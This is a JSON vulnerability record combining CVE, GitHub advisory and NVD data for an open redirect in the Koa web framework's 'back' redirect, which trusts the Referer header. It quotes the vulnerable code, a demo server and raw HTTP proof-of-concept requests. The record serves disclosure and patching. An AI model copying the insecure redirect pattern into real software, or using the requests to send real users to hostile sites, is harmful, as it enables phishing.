{"id":"CVE-2025-8129","aliases":["CVE-2025-8129","GHSA-jgmv-j7ww-jx2x"],"related":[],"kind":"vulnerability","state":"published","title":"KoaJS Koa HTTP Header response.js back redirect","summary":"A vulnerability, which was classified as problematic, was found in KoaJS Koa up to 3.0.0. Affected is the function back in the library lib/response.js of the component HTTP Header Handler. The manipulation of the argument Referrer leads to open redirect. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"A vulnerability, which was classified as problematic, was found in KoaJS Koa up to 3.0.0. Affected is the function back in the library lib/response.js of the component HTTP Header Handler. The manipulation of the argument Referrer leads to open redirect. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.","source":"cvelist"},{"lang":"de","text":"Es wurde eine Schwachstelle in KoaJS Koa bis 3.0.0 gefunden. Sie wurde als problematisch eingestuft. Betroffen hiervon ist die Funktion back in der Bibliothek lib/response.js der Komponente HTTP Header Handler. Durch Beeinflussen des Arguments Referrer mit unbekannten Daten kann eine open redirect-Schwachstelle ausgenutzt werden. Umgesetzt werden kann der Angriff über das Netzwerk. Der Exploit steht zur öffentlichen Verfügung.","source":"cvelist"},{"lang":"en","text":"## Summary\nIn the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target.\n\n## Details\non the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see:\n\n**response.redirect(url, [alt])**\n```\nPerforms a [302] redirect to url.\nThe string \"back\" is specially provided for Referrer support, using alt or \"/\" when Referrer does not exist.\n\nctx.redirect('back');\nctx.redirect('back', '/index.html');\nctx.redirect('/login');\nctx.redirect('http://google.com');\n\n```\nhowever, the \"back\" method is insecure:\n\n- https://github.com/koajs/koa/blob/master/lib/response.js#L322\n```\n  back (alt) {\n    const url = this.ctx.get('Referrer') || alt || '/'\n    this.redirect(url)\n  },\n```\nReferrer Header is User-Controlled.\n\n\n## PoC\n\n**there is a demo for POC:**\n```\nconst Koa = require('koa')\nconst serve = require('koa-static')\nconst Router = require('@koa/router')\nconst path = require('path')\n\nconst app = new Koa()\nconst router = new Router()\n\n// Serve static files from the public directory\napp.use(serve(path.join(__dirname, 'public')))\n\n// Define routes\nrouter.get('/test', ctx => {\n  ctx.redirect('back', '/index1.html')\n})\n\nrouter.get('/test2', ctx => {\n  ctx.redirect('back')\n})\n\nrouter.get('/', ctx => {\n  ctx.body = 'Welcome to the home page! Try accessing /test, /test2'\n})\n\napp.use(router.routes())\napp.use(router.allowedMethods())\n\nconst port = 3000\napp.listen(port, () => {\n  console.log(`Server running at http://localhost:${port}`)\n}) \n```\n**Proof Of Concept**\n```\nGET /test HTTP/1.1\nHost: 127.0.0.1:3000\nReferer: http://www.baidu.com\nConnection: close\n\n\nGET /test2 HTTP/1.1\nHost: 127.0.0.1:3000\nReferer: http://www.baidu.com\nConnection: close\n```\n![image](https://github.com/user-attachments/assets/03d1e61b-df97-4b42-a0c4-437bd17144db)\n\n![image](https://github.com/user-attachments/assets/f4e076e0-3853-4b7a-b4c0-bddf5b67631a)\n\n\n## Impact\nhttps://learn.snyk.io/lesson/open-redirect/","format":"markdown","source":"ghsa"},{"lang":"es","text":"Se encontró una vulnerabilidad clasificada como problemática en KoaJS (hasta la versión 3.0.0). La función afectada se encuentra en la librería lib/response.js del componente HTTP Header Handler. La manipulación del argumento Referrer provoca una redirección abierta. El ataque puede ejecutarse en remoto. Se ha hecho público el exploit y puede que sea utilizado.","source":"nvd"}],"published":"2025-07-25T04:02:05.418Z","modified":"2026-06-17T10:06:21.673Z","severity":{"scorer":"VulDB","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","score":5.1,"rating":"MEDIUM"},"severities":[{"scorer":"VulDB","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","score":5.1,"rating":"MEDIUM"},{"scorer":"VulDB","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N/E:P/RL:X/RC:R","score":3.5,"rating":"LOW"},{"scorer":"VulDB","scheme":"CVSS:3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N/E:P/RL:X/RC:R","score":3.5,"rating":"LOW"},{"scorer":"VulDB","scheme":"CVSS:2.0","vector":"AV:N/AC:L/Au:S/C:N/I:P/A:N/E:POC/RL:ND/RC:UR","score":4,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N","score":3.5,"rating":"LOW"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","rating":"LOW"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-601"],"affected":[{"ranges":[{"version":"3.0","status":"affected"}],"vendor":"KoaJS","product":"Koa","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"2.0.0","status":"affected","fixed":"2.16.2"}],"ecosystem":"npm","package":"koa","purl":"pkg:npm/koa","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"3.0.0-alpha.0","status":"affected","fixed":"3.0.1"}],"ecosystem":"npm","package":"koa","purl":"pkg:npm/koa","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"2.0.0","fixed":"2.16.2"},{"status":"affected","version":"3.0.0"},{"status":"affected","version":"3.0.0"},{"status":"affected","version":"3.0.0"},{"status":"affected","version":"3.0.0"},{"status":"affected","version":"3.0.0"},{"status":"affected","version":"3.0.0"},{"status":"affected","version":"3.0.0"}],"vendor":"koajs","product":"koa","cpe":"cpe:2.3:a:koajs:koa:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://vuldb.com/?id.317514","tags":["technical-description","third-party-advisory","vdb-entry","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://vuldb.com/?ctiid.317514","tags":["permissions-required","signature","vdb-entry","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://vuldb.com/?submit.619741","tags":["third-party-advisory","vdb-entry","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/koajs/koa/issues/1892","tags":["exploit","issue-tracking","patch","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/koajs/koa/issues/1892#issue-3213028583","tags":["exploit","issue-tracking","patch","third-party-advisory","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/koajs/koa/security/advisories/GHSA-jgmv-j7ww-jx2x","tags":["web"],"sources":["ghsa"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54420","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/koajs/koa/commit/422c551c63d00f24e2bbbdf492f262a5935bb1f0","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/koajs/koa","tags":["package"],"sources":["ghsa"]}],"credits":["ZAST.AI (VulDB User)"],"assigner":"VulDB","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-07-25T12:01:50.242Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-8129","url":"https://www.cve.org/CVERecord?id=CVE-2025-8129","licence":"CVE Terms of Use","modified":"2025-07-25T12:01:53.033Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jgmv-j7ww-jx2x","url":"https://github.com/advisories/GHSA-jgmv-j7ww-jx2x","licence":"CC-BY-4.0","modified":"2025-07-30T14:14:46.000Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-8129","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-8129","licence":"Public domain","modified":"2026-06-17T10:06:21.673Z"}],"updatedAt":"2026-11-25T22:59:01.654Z","epss":{"score":0.00299,"percentile":0.24298,"date":"2026-12-02T12:00:21.000Z"}}